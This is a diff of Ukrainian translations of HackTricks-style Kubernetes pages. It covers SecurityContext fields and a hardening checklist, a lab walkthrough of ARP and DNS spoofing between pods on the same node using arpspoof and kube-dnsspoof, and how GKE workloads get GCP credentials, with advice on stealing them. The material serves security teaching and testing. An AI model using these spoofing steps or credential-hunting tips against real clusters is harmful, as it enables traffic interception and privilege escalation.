Зверніть увагу, що для атрибутів, заданих і в **SecurityContext**, і в **PodSecurityContext**, перевагу має значення, вказане в **SecurityContext**.
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>логічне значення</em></p> | **AllowPrivilegeEscalation** контролює, чи може процес **отримати більше привілеїв**, ніж його батьківський процес. Це логічне значення безпосередньо контролює, чи буде встановлено прапор no_new_privs для процесу контейнера. AllowPrivilegeEscalation завжди true, коли контейнер запускається як **Privileged** або має **CAP_SYS_ADMIN** |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** керує тим, чи може process **отримати більше privileges**, ніж його parent process. Цей bool безпосередньо керує тим, чи буде для container process встановлено прапорець no_new_privs. AllowPrivilegeEscalation завжди true, коли container запущено як **Privileged** або він має **CAP_SYS_ADMIN** |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Більше інформації про</em> <em><strong>Capabilities</strong></em></p> | **Можливості, які потрібно додати/видалити при запуску контейнерів**. За замовчуванням - набір можливостей за замовчуванням. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>логічне значення</em></p> | Запустіть контейнер у привілейованому режимі. Процеси в привілейованих контейнерах фактично є **еквівалентом root на хості**. За замовчуванням - false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>рядок</em></p> | procMount позначає **тип монтування proc, який потрібно використовувати для контейнерів**. За замовчуванням - DefaultProcMount, який використовує значення за замовчуванням контейнерного виконувального середовища для шляхів тільки для читання та маскованих шляхів. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>логічне значення</em></p> | Чи має цей **контейнер файлову систему кореня тільки для читання**. За замовчуванням - false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>ціле число</em></p> | **GID для запуску точки входу** процесу контейнера. Використовує значення за замовчуванням, якщо не встановлено. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>логічне значення</em></p> | Вказує, що контейнер повинен **працювати як не-root користувач**. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>ціле число</em></p> | **UID для запуску точки входу** процесу контейнера. За замовчуванням - користувач, вказаний у метаданих зображення, якщо не вказано. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Більше інформації про</em> <em><strong>seLinux</strong></em></p> | **Контекст SELinux, який буде застосовано до контейнера**. Якщо не вказано, контейнерний виконувальний середовище виділить випадковий контекст SELinux для кожного контейнера. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | **Опції seccomp**, які використовуються цим контейнером. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | **Специфічні для Windows налаштування**, які застосовуються до всіх контейнерів. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | **capabilities, які потрібно додати/видалити під час запуску containers**. За замовчуванням використовується стандартний набір capabilities. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Запускати container у privileged mode. Processes у privileged containers по суті **еквівалентні root на host**. За замовчуванням false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount означає **тип proc mount, який слід використовувати для containers**. За замовчуванням це DefaultProcMount, який використовує defaults container runtime для readonly paths і masked paths. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Чи має цей **container файлову систему root лише для читання**. За замовчуванням false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID для запуску entrypoint** process container. Використовує runtime default, якщо не задано. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Вказує, що container має **запускатися як non-root user**. Якщо true, Kubelet під час виконання перевірить image, щоб переконатися, що вона не запускається як UID 0 (root), і не дасть запустити container, якщо це не так. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID для запуску entrypoint** process container. Якщо не вказано, за замовчуванням використовується user, заданий у metadata image. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **SELinux context, який буде застосовано до container**. Якщо не вказано, container runtime призначить випадковий SELinux context для кожного container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | **seccomp options**, які використовуються цим container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | **Windows-specific налаштування**, застосовані до всіх containers. |
|
||||
|
||||
## Practical workload review checklist
|
||||
|
||||
Під час перевірки Pod або workload template перевіряйте і `spec.securityContext`, і кожен `securityContext` на рівні container у `containers`, `initContainers` та `ephemeralContainers`. Поля на рівні container можуть перевизначати defaults на рівні pod, тому безпечний на вигляд pod default не гарантує, що кожен container є безпечним.
|
||||
|
||||
Комбінації підвищеного ризику, на які слід звернути першочергову увагу:
|
||||
|
||||
- `privileged: true`, особливо разом із `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports або runtime socket mounts.
|
||||
- Додані capabilities, такі як `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH` або `DAC_OVERRIDE`.
|
||||
- `allowPrivilegeEscalation: true` або не задано в containers, які можуть виконувати attacker-controlled code.
|
||||
- `seccompProfile: Unconfined`, `procMount: Unmasked` або відсутні runtime profiles для sensitive workloads.
|
||||
- Writable root filesystems або широкі writable volume mounts у workloads, що обробляють untrusted input.
|
||||
- Відсутні CPU, memory або ephemeral-storage requests і limits у multi-tenant namespaces.
|
||||
|
||||
Для більшості application workloads хорошою базою є запуск як non-root UID, встановлення `runAsNonRoot: true`, `allowPrivilegeEscalation: false`, скидання всіх capabilities і додавання назад лише мінімально необхідних, використання `seccompProfile: RuntimeDefault`, надання переваги read-only root filesystem та уникнення host namespaces, hostPath mounts і privileged mode.
|
||||
|
||||
На рівні cluster використовуйте мітки namespace для [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/), щоб де можливо примусово застосовувати Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/). Використовуйте `restricted` для namespaces, які це підтримують, принаймні `baseline` для звичайних application namespaces, а privileged винятки робіть вузькими, задокументованими та ізольованими до trusted platform namespaces або node pools.
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між **усіма контейнерами, що знаходяться на одному вузлі**. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до **Layer 2** (Ethernet). Внаслідок цього така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для **зловмисного контейнера** виконати **ARP-спуфінг-атаку** проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.
|
||||
У Kubernetes спостерігається, що поведінка за замовчуванням дозволяє встановлення з’єднань між **усіма контейнерами, що знаходяться на одному node**. Це застосовується незалежно від відмінностей namespace. Така connectivity поширюється аж до **Layer 2** (Ethernet). Внаслідок цього така конфігурація потенційно наражає систему на вразливості. Зокрема, вона відкриває можливість для **malicious container** виконати **ARP spoofing attack** проти інших контейнерів, розташованих на тому ж node. Під час такої атаки malicious container може обманом перехоплювати або змінювати network traffic, призначений для інших контейнерів.
|
||||
|
||||
ARP-спуфінг-атаки передбачають, що **зловмисник надсилає підроблені ARP** (протокол розв'язання адрес) повідомлення через локальну мережу. Це призводить до зв'язування **MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі**. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Layer 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки.
|
||||
ARP spoofing attacks передбачають, що **attacker надсилає фальшиві ARP** (Address Resolution Protocol) повідомлення через local area network. Це призводить до зв’язування **MAC address attacker'а з IP address легітимного computer або server у network**. Після успішного виконання такої атаки attacker може перехоплювати, змінювати або навіть зупиняти data in-transit. Атака виконується на Layer 2 моделі OSI, саме тому default connectivity у Kubernetes на цьому рівні викликає security concerns.
|
||||
|
||||
У сценарії буде створено 4 машини:
|
||||
У цьому сценарії буде створено 4 machines:
|
||||
|
||||
- ubuntu-pe: Привілейована машина для втечі до вузла та перевірки метрик (необхідна для атаки)
|
||||
- **ubuntu-attack**: **Зловмисний** контейнер у стандартному просторі імен
|
||||
- **ubuntu-victim**: **Жертва** машина в просторі імен kube-system
|
||||
- **mysql**: **Жертва** машина в стандартному просторі імен
|
||||
- ubuntu-pe: Privileged machine, щоб втекти на node і перевірити metrics (не потрібно для атаки)
|
||||
- **ubuntu-attack**: **Malicious** container у default namespace
|
||||
- **ubuntu-victim**: **Victim** machine у kube-system namespace
|
||||
- **mysql**: **Victim** machine у default namespace
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Основи мережевої взаємодії Kubernetes
|
||||
## Основи Kubernetes Networking
|
||||
|
||||
Якщо ви хочете більше деталей про мережеві теми, представлені тут, перейдіть до посилань.
|
||||
Якщо ви хочете більше деталей про networking topics, представлені тут, перейдіть до references.
|
||||
|
||||
### ARP
|
||||
|
||||
Загалом, **мережеве з'єднання pod-to-pod всередині вузла** доступне через **міст**, який з'єднує всі поди. Цей міст називається “**cbr0**”. (Деякі мережеві плагіни встановлять свій власний міст.) **cbr0 також може обробляти ARP** (протокол розв'язання адрес) розв'язання. Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP.
|
||||
Загалом, **pod-to-pod networking inside the node** доступний через **bridge**, який з’єднує всі pods. Цей bridge називається “**cbr0**”. (Деякі network plugins встановлюють власний bridge.) **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Коли вхідний packet надходить до cbr0, він може визначити MAC address destination за допомогою ARP.
|
||||
|
||||
Цей факт означає, що за замовчуванням **кожен под, що працює в одному вузлі**, зможе **спілкуватися** з будь-яким іншим подом в тому ж вузлі (незалежно від простору імен) на рівні ethernet (рівень 2).
|
||||
Цей факт означає, що за замовчуванням **кожен pod, що працює в одному node**, зможе **communicate** з будь-яким іншим pod в тому ж node (незалежно від namespace) на ethernet level (layer 2).
|
||||
|
||||
> [!WARNING]
|
||||
> Тому можливі атаки A**RP Spoofing між подами в одному вузлі.**
|
||||
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||
|
||||
### DNS
|
||||
|
||||
У середовищах kubernetes ви зазвичай знайдете 1 (або більше) **сервісів DNS**, які зазвичай працюють у просторі імен kube-system:
|
||||
У kubernetes environments ви зазвичай знайдете 1 (або більше) **DNS services running** зазвичай у namespace kube-system:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,27 +136,30 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
У попередній інформації ви можете побачити щось цікаве, **IP сервісу** - **10.96.0.10**, але **IP поду**, що виконує сервіс, - **172.17.0.2.**
|
||||
У попередній інформації ви можете побачити щось цікаве: **IP of the service** — це **10.96.0.10**, але **IP of the pod**, на якому працює service, — це **172.17.0.2**.
|
||||
|
||||
Якщо ви перевірите DNS-адресу всередині будь-якого поду, ви знайдете щось подібне:
|
||||
Якщо ви перевірите DNS address всередині будь-якого pod, ви знайдете щось на кшталт цього:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
Однак, под **не знає**, як дістатися до цієї **адреси**, оскільки **діапазон подів** у цьому випадку становить 172.17.0.10/26.
|
||||
Однак pod **не знає**, як дістатися до цієї **address**, тому що **pod range** у цьому випадку — 172.17.0.10/26.
|
||||
|
||||
Тому под надішле **DNS запити на адресу 10.96.0.10**, яка буде **перекладена** cbr0 **на** **172.17.0.2**.
|
||||
Тому pod надішле **DNS requests to the address 10.96.0.10**, which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
|
||||
> [!WARNING]
|
||||
> Це означає, що **DNS запит** пода **завжди** буде йти до **мосту**, щоб **перекласти** **IP-адресу сервісу на IP-адресу кінцевої точки**, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под.
|
||||
> Це означає, що **DNS request** pod-а **завжди** буде йти через **bridge** для **translate** **service IP to the endpoint IP**, навіть якщо DNS server знаходиться в тій самій subnet, що й pod.
|
||||
>
|
||||
> Знаючи це, і знаючи, що **ARP атаки можливі**, **под** у вузлі зможе **перехопити трафік** між **кожним подом** у **підмережі** та **мостом** і **модифікувати** **DNS відповіді** від DNS сервера (**DNS Спуфінг**).
|
||||
> Знаючи це, і знаючи, що **ARP attacks are possible**, **pod** на node зможе **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** та **modify** **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
>
|
||||
> Більше того, якщо **DNS сервер** знаходиться в **тому ж вузлі, що й атакуючий**, атакуючий може **перехопити всі DNS запити** будь-якого пода в кластері (між DNS сервером і мостом) і модифікувати відповіді.
|
||||
> Крім того, якщо **DNS server** знаходиться на тому ж node, що й attacker, attacker може **intercept all the DNS request** будь-якого pod у cluster (між DNS server і bridge) і modify responses.
|
||||
|
||||
## ARP Спуфінг у подах в одному вузлі
|
||||
> [!NOTE]
|
||||
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
|
||||
|
||||
Наша мета - **викрасти принаймні комунікацію від ubuntu-victim до mysql**.
|
||||
## ARP Spoofing in pods in the same Node
|
||||
|
||||
Наша мета — **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -233,11 +236,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
Як вже згадувалося, якщо ви **зламали под в тому ж вузлі, що й под DNS-сервера**, ви можете **MitM** з **ARPSpoofing** **мосту** та **DNS** пода і **модифікувати всі DNS-відповіді**.
|
||||
Як уже згадувалося, якщо ви **compromise pod на тому ж node, що й pod DNS server**, ви можете **MitM** за допомогою **ARPSpoofing** **bridge** і **DNS** pod та **modify all the DNS responses**.
|
||||
|
||||
У вас є дійсно гарний **інструмент** та **посібник** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
У вас є дуже хороший **tool** і **tutorial** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
У нашому сценарії, **завантажте** **інструмент** в поді атакуючого і створіть **файл з назвою `hosts`** з **доменами**, які ви хочете **спуфити**, наприклад:
|
||||
У нашому сценарії, **download** **tool** у attacker pod і створіть **file named `hosts`** з **domains**, які ви хочете **spoof**, наприклад:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
@@ -260,47 +263,49 @@ dig google.com
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> Якщо ви спробуєте створити свій власний скрипт для спуфінгу DNS, якщо ви **просто змініть відповідь DNS**, це **не** буде **працювати**, тому що **відповідь** буде мати **src IP** адресу **зловмисного** **под** і **не буде** **прийнята**.\
|
||||
> Вам потрібно згенерувати **новий DNS пакет** з **src IP** DNS, куди жертва надсилає DNS запит (що є чимось на зразок 172.16.0.2, а не 10.96.0.10, це IP адреса сервісу K8s DNS, а не IP адреса DNS сервера, більше про це в вступі).
|
||||
> Якщо ви спробуєте створити власний DNS spoofing script, якщо ви **просто зміните DNS response**, це **не** буде **працювати**, тому що **response** матиме **src IP** — IP-адресу **malicious** **pod** — і **не** буде **accepted**.\
|
||||
> Потрібно згенерувати **new DNS packet** з **src IP** **DNS**, куди victim надсилає DNS request (це щось на кшталт 172.16.0.2, а не 10.96.0.10, це K8s DNS service IP, а не DNS server ip, більше про це в introduction).
|
||||
|
||||
## DNS спуфінг через coreDNS configmap
|
||||
## DNS Spoofing via coreDNS configmap
|
||||
|
||||
Користувач з правами запису на configmap `coredns` в просторі імен kube-system може змінювати відповіді DNS кластера.
|
||||
Користувач із правами запису над configmap `coredns` у namespace kube-system може змінювати DNS responses кластера.
|
||||
|
||||
Перевірте більше інформації про цю атаку в:
|
||||
Також перегляньте NodeLocal DNSCache, якщо він розгорнутий. Зазвичай він працює як hostNetwork DaemonSet і має власний ConfigMap, logs, cache і forwarding path. Зміна CoreDNS може бути не єдиним місцем, де DNS behavior можна впливати або спостерігати.
|
||||
|
||||
Перевірте більше інформації про цю attack у:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## Зловживання відкритими сервісами управління kubernetes
|
||||
## Abusing exposed kubernetes management services
|
||||
|
||||
Сервіси, такі як Apache NiFi, Kubeflow, Argo Workflows, Weave Scope та панель управління Kubernetes, часто відкриті або для інтернету, або в межах мережі kubernetes. Зловмисник, який зможе **знайти будь-яку платформу, що використовується для управління kubernetes і отримати до неї доступ**, може зловживати нею, щоб отримати доступ до API kubernetes і виконувати дії, такі як створення нових подів, модифікація існуючих або навіть їх видалення.
|
||||
Такі services, як Apache NiFi, Kubeflow, Argo Workflows, Weave Scope і Kubernetes dashboard, часто exposed або в internet, або всередині kubernetes network. attacker, який зможе **знайти будь-яку platform, що використовується для керування kubernetes, і отримати до неї access**, може abuse її, щоб отримати access до kubernetes API і виконувати actions на кшталт створення new pods, modification existing ones або навіть їх видалення.
|
||||
|
||||
## Перерахування мережевих політик kubernetes
|
||||
## Enumerating kubernetes network policies
|
||||
|
||||
Отримати налаштовані **networkpolicies**:
|
||||
Отримайте налаштовані **networkpolicies**:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
Отримати **Callico** мережеві політики:
|
||||
Отримайте **Callico** network policies:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
Отримати **Cillium** мережеві політики:
|
||||
Отримати **Cillium** network policies:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
Отримайте інші CRD, пов'язані з політикою, встановлені вашим мережевим плагіном або рішенням безпеки:
|
||||
Отримайте інші policy-related CRDs, встановлені вашим network plugin або security solution:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## Захоплення Трафіку
|
||||
## Захоплення Traffic
|
||||
|
||||
Інструмент [**Mizu**](https://github.com/up9inc/mizu) є простим, але потужним API **переглядачем трафіку для Kubernetes**, що дозволяє вам **переглядати всю API комунікацію** між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.\
|
||||
Він встановить агенти в обраних подах і збиратиме їх інформацію про трафік, показуючи вам це на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже непомітно).
|
||||
Інструмент [**Mizu**](https://github.com/up9inc/mizu) — це простий, але потужний API **traffic viewer for Kubernetes**, що дає змогу **переглядати всю API communication** між microservices, щоб допомогти вам debug і troubleshoot regressions.\
|
||||
Він встановить agents у вибрані pods і збере їхню traffic information та покаже її у web server. Однак для цього вам знадобляться високі K8s permissions (і це не дуже stealthy).
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## GCP
|
||||
|
||||
Якщо ви запускаєте k8s cluster всередині GCP, ймовірно ви захочете, щоб деякий додаток у кластері мав доступ до GCP. Існує 2 поширених способи це зробити:
|
||||
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
|
||||
|
||||
### Mounting GCP-SA keys as secret
|
||||
|
||||
Поширений спосіб надати **access to a kubernetes application to GCP** — це:
|
||||
A common way to give **access to a kubernetes application to GCP** is to:
|
||||
|
||||
- Create a GCP Service Account
|
||||
- Bind on it the desired permissions
|
||||
@@ -17,49 +17,49 @@
|
||||
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
|
||||
|
||||
> [!WARNING]
|
||||
> Тому, як **attacker**, якщо ви компрометуєте контейнер всередині pod, вам слід перевірити наявність цієї **env** **variable** та **json** **files** з обліковими даними GCP.
|
||||
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
|
||||
|
||||
### Relating GSA json to KSA secret
|
||||
|
||||
Спосіб надати GSA доступ до GKE cluster — пов'язати їх таким чином:
|
||||
A way to give access to a GSA to a GKE cluser is by binding them in this way:
|
||||
|
||||
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
|
||||
```bash
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- Створіть Kubernetes Secret, який містить облікові дані сервісного облікового запису GCP, якому ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка `gcloud`, як показано в наведеному прикладі:
|
||||
- Створіть Kubernetes Secret, який містить credentials GCP service account, якому ви хочете надати доступ до GKE cluster. Ви можете зробити це за допомогою `gcloud` command-line tool, як показано в такому прикладі:
|
||||
```bash
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Прив'яжіть Kubernetes Secret до Kubernetes service account за допомогою наступної команди:
|
||||
- Прив’яжіть Kubernetes Secret до Kubernetes service account за допомогою такої команди:
|
||||
```bash
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> У **другому кроці** було встановлено **credentials of the GSA as secret of the KSA**. Тож, якщо ви можете **read that secret** з **середини** **GKE** кластера, ви можете **escalate to that GCP service account**.
|
||||
> У **другому кроці** були встановлені **credentials GSA як secret KSA**. Тоді, якщо ти можеш **прочитати цей secret** **зсередини** **GKE** cluster, ти можеш **ескалювати до цього GCP service account**.
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
За допомогою Workload Identity ми можемо налаштувати a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) так, щоб він діяв як a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods, що працюють з Kubernetes service account, автоматично автентифікуються як Google service account при доступі до Google Cloud APIs.
|
||||
За допомогою Workload Identity ми можемо налаштувати [ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) так, щоб він діяв як [ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods, що працюють із Kubernetes service account, автоматично автентифікуватимуться як Google service account під час доступу до Google Cloud APIs.
|
||||
|
||||
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
|
||||
**Перший набір кроків** для ввімкнення цієї поведінки — **увімкнути Workload Identity у GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) і створити GCP SA, який ти хочеш, щоб k8s impersonate.
|
||||
|
||||
- **Enable Workload Identity** на новому кластері
|
||||
- **Enable Workload Identity** on a new cluster
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **Створити/Оновити новий nodepool** (Autopilot clusters не потребують цього)
|
||||
- **Створіть/оновіть новий nodepool** (Autopilot clusters не потребують цього)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Створіть **GCP Service Account to impersonate** з K8s з дозволами GCP:
|
||||
- Створіть **GCP Service Account to impersonate** з K8s з GCP permissions:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
